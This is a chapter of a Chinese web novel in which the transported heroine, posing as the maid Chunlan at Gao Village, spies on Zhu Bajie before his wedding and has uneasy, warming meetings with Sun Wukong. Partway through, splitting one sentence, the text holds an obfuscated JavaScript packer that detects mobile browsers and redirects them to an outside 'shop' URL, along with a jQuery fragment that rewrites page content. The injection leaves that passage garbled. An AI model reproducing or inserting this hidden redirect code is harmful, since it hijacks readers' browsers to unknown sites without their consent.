肖小夭猛地睁开眼。
她做的第一件事,就是下意识地去摸自己的左肩。
那里光洁平滑,没有伤口,没有血迹。但被熊爪洞穿、撕裂血肉的剧痛仿佛还烙印在神经里,让她忍不住打了个寒颤。
这一次,她躺在一张极为柔软的华丽软塌上。身下是滑腻的绸缎被褥,软得她整个人都陷了进去。鼻腔里萦绕着一股甜腻的熏香,混杂着淡淡的脂粉气,熏得人有些发晕。
阳光从精雕细琢的窗棂透进来,在光洁的地板上投下斑驳的影子,一格一格的,像一方巨大的棋盘。
她低头打量自己——一身淡青色的丫鬟服,洗得干干净净,领口和袖口都绣着细碎的小花。腰间系着根柔软的丝绦,脚上是一双精致的绣花鞋,鞋面上两朵小小的梅花栩栩如生。
她手边还放着一个红漆托盘,盘子上摆着几碟精致的点心:桂花糕、绿豆糕、如意糕,码得整整齐齐。
肖小夭愣了三秒。
丫鬟?这回的皮肤是个丫鬟?
她坐起来,环顾四周。这是一间极为奢华精致的厢房,雕梁画栋,锦帐绣榻,一看就是某位大户人家小姐的闺房。角落里的紫檀木屏风上绣着一幅活灵活现的鸳鸯戏水图,黄铜镜台前摆满了胭脂水粉,有几个描金的小瓷盒还打开着,露出里面鲜红欲滴的口脂。
她正愣神,外面传来一阵急促的脚步声。
一个穿着体面、神情严肃的中年妇人走了进来,看见她还坐在塌上,立刻皱起了眉头。
“春兰!你还愣在这儿做什么?小姐在房里唤你过去伺候,没听见吗?!”
春兰?这回我叫春兰?
肖小夭赶紧站起来。她根本不知道对方是谁,只能含糊地点点头,顺着话茬应道:“是是,马上过去。”
妇人瞪了她一眼,扭身走了,脚步踩得地板咯吱咯吱响。
肖小夭深吸一口气,端起手边的托盘往外走。
【系统】:当前身份:高老庄丫鬟。当前时间点:猪八戒即将大婚。
【系统】:临时任务触发。高太公怀疑新女婿猪八戒有问题,想悔婚但又怕惹祸上身。宿主需观察猪八戒日常行踪,记录异常举动,并将消息传递给高太公信任的人。任务完成奖励:存活时间延长。
肖小夭心里嘀咕:所以这是让我当间谍?
她端着托盘走出厢房,沿着曲折的回廊往前走。
院子里张灯结彩,挂着红绸,贴着喜字,一派喜庆。下人们来来往往,忙得脚不沾地。
一个穿着大红新郎服的胖子站在院子中央,咧着嘴笑,正大声指挥着下人。
猪八戒。
肖小夭忍不住多看了两眼。这八戒现在还叫猪刚鬣,穿着一身崭新的喜服,长得倒是还算俊俏,就是肚子挺得老高,一笑起来活像一尊移动的笑面佛。
她正看着,八戒突然转过头来。
四目相对。
八戒眼睛一亮,屁颠屁颠跑过来,肚子一颠一颠的。
“哟,这位小娘子好生面善啊,新来的?”他上下打量着肖小夭,眼神黏糊糊的,让人很不舒服。
肖小夭本能地往后退了一步。
“奴婢……奴婢是春兰……”她硬着头皮说。
“春兰?好名字!”八戒笑嘻嘻地凑过来,“以后咱们多亲近亲近……”
他话还没说完,后脑勺突然结结实实地挨了一巴掌。
“啪”的一声,清脆响亮。
“呆子,干什么呢?”
一个毛茸茸的身影不知何时已经出现在了旁边。
悟空蹲在廊柱的栏杆上,手里拿着半个刚啃过的桃子,正斜着一双火眼金睛看着八戒。阳光照在他身上,金灿灿的,那条细长的尾巴在身后不耐烦地晃了一晃。
八戒捂着剧痛的后脑勺,一脸委屈:“大师兄,我……我就是跟新来的打个招呼……”
悟空又咬了一口桃子,慢悠悠地说:“打招呼用凑那么近?”
八戒讪讪地缩了缩脖子,自知理亏,小声嘀咕着溜了。
肖小夭看着这一幕,强忍着才没笑出声。
悟空这才转过头,对上了她的目光。
四目相对。
肖小夭心头一紧。
她下意识地以为,他会像之前在观音院那样,一个闪身凑过来,阴阳怪气地甩出一句“哟,又换了身皮囊?”
但这次,他没有。
悟空从栏杆上轻巧地跳下来,走到她面前。
距离两步开外,保持着一个安全的距离。他微微歪着毛茸茸的脑袋,上上下下打量着她。
“又见面了。”他说。
肖小夭愣了一下,赶紧低下头,熟练地开启装傻模式:“这位施主认错人了吧?奴婢第一次见您……”
悟空没说话,只是静静地嚼着桃子。
她就那么低着头,能清晰地感觉到他的目光正落在自己的发顶上。
一秒。两秒。三秒。
“不认识也没关系。”他突然把桃核随手一扔,拍了拍手上的桃屑,语气随意却清晰,“那我们,重新认识一下吧。”
肖小夭大脑直接宕机了。
她猛地抬起头,对上他的眼睛。
悟空就那么站在阳光里,嘴角勾着一抹似笑非笑的弧度。
“老孙姓孙,名悟空。”他盯着她,一字一句道,“你叫什么?”
肖小夭被他盯得发毛,机械地回答:“奴婢……叫春兰……”
悟空听完,点了点头。
“春兰。”他咂摸了一下这俩字,“行吧。”
他没戳穿她这烂透了的谎言。
只是突然往前凑了半步,压低声音,用一种只有两人能听见的音量,极快地说了一句:
“上一次,谢了。”
肖小夭心跳猛地漏了一拍。
上一次。他果然全都知道。
她张了张嘴,正琢磨着该怎么糊弄过去,远处突然传来八戒扯着嗓门的叫喊:“大师兄!快来帮忙搬东西啊!”
悟空直起身,不耐烦地掏了掏耳朵。
“来了来了,催命啊你!”
他扛起不知从哪摸出来的金箍棒,转身大步流星地走了。
肖小夭僵硬地站在原地,端着托盘的手心里全是汗。
谢了?
大圣这意思是……承了她的情?
她长长地舒了一口气,心里瞬间涌起一阵劫后余生的庆幸:太好了!看来这次他不仅不会拆穿自己,还单方面跟她“和解”了!这下总算不用整天提心吊胆,生怕被他当成来路不明的妖精,一棍子敲碎天灵盖了!
…………
傍晚时分,肖小夭被派到后厨帮忙。
厨房里热火朝天,肖小夭蹲在灶台前烧火,灶膛里火苗噼啪作响,映得她脸颊红扑扑的。
一个老婆婆端着一盆青菜走了进来,在她旁边的矮凳上坐下。老婆婆头发花白,脸上满是褶子,走路时一条腿明显有点跛。
“新来的?”老婆婆声音沙哑地问。
肖小夭胡乱地点了点头。
老婆婆浑浊的眼睛打量了她一圈,突然压低声音凑过来:“丫头,院里那猴子,你认识?”
肖小夭一愣。
这个对话……怎么这么耳熟?!
她警惕地看着这老太太,心里直打鼓,本能地摇头:“我……我不认识……”
老婆婆没追问,只是扯了扯嘴角,那笑容在灶火的映衬下透着股说不出的深意。她幽幽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347398|199536||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地叹了口气,压着嗓子道:“老婆子看你这丫头也不像个安分的。这庄子如今不太平,那猴头不是凡人,这要当新姑爷的,也不是个省油的灯。你一个弱女子夹在中间,自己当心吧。”
说完,她便站起身,端着菜一瘸一拐地走了。
肖小夭独自坐在灶台前发呆。
…………
夜里,肖小夭借口倒夜香,偷偷溜到了后院。
系统任务在身,她必须得来蹲点猪八戒。
她猫着腰躲在一棵桂花树后,往厢房看去。
厢房的窗户上映出一个肥大的影子,在屋里烦躁地晃来晃去。突然,那影子变了,在烛光的拉伸下猛地膨胀,变成了一头巨大的野猪轮廓!
肖小夭捂住嘴,瞪大眼睛。
厢房的门“吱呀”一声开了。猪八戒走出来,警惕地看了看四周,转身就走,没走几步竟然凭空消失了!
她愣住了,这么大个活人怎么说没就没?
她正疑惑着,身后突然响起一个懒洋洋的声音。
“在找他?”
肖小夭吓得魂飞魄散,差点尖叫出声,猛地回头。
悟空不知何时已经蹲在了她身后的假山顶上。月光给他金色的毛发镀上了一层光晕,尾巴在身后悠哉地晃着。
“你……你怎么走路没声音的?!”她压着嗓子低呼。
悟空从假山上轻巧地跳下来。
“那你呢?”他反问,“大半夜不睡觉,在这儿蹲坑呢?”
肖小夭被噎住了:“我……我就是出来透透气。”
悟空嗤笑了一声,显然不信。
“那呆子去找他老丈人了。”他走到她身边,和她一起站在阴影里,“估计是想求人家别悔婚。”
肖小夭愣了一下:“你怎么知道?”
“老孙跟踪他啊。”悟空一脸理所当然,“不然你以为我大半夜蹲在这儿喂蚊子?”
肖小夭沉默了。原来同行是冤家。
两人并排躲在树影后,看着空荡荡的院子。
过了一会儿,悟空突然转过头。
“上次,你是故意的?”
肖小夭一头雾水:“什么?”
“挡那黑瞎子一爪子。”悟空盯着她,眼神在夜色中格外明亮,“故意的?”
肖小夭被问住了。
怎么可能是故意的,谁会嫌命长啊!
“我不知道。”她如实回答,“当时没想那么多,脑子一热就冲上去了。”
悟空定定地看了她几秒。
然后,他极轻地笑了一声。带着点猴王独有的桀骜和好笑。
“傻子。”
肖小夭瞪大眼睛。
你才傻!你全家都傻!要不是为了完成任务保命,谁管你们死活!
她正要在心里继续疯狂输出,悟空突然伸出手,一把按住她的肩膀,将她往下重重一压。
他掌心的温度隔着单薄的衣料传来,滚烫得惊人。
“别动。”他低声道。
肖小夭吓了一跳,赶紧缩成一团,大气都不敢出——任务关键时刻,千万不能被发现!
远处传来一阵脚步声。
猪八戒垂头丧气地回来了,一看就是碰了一鼻子灰。他推开厢房门,“砰”的一声关上了。
悟空松开了按在她肩上的手。
“行了。”他站起身,拍了拍手上的灰尘,“回去睡你的觉吧。”
肖小夭揉了揉被他按得有些酸痛的肩膀,抬头看着他。
悟空已经转身,扛着棍子,溜达着走远了。
月光下,那个毛茸茸的背影很快融入了夜色里。
肖小夭撇了撇嘴。
这猴子,道谢就道谢,手劲还挺大。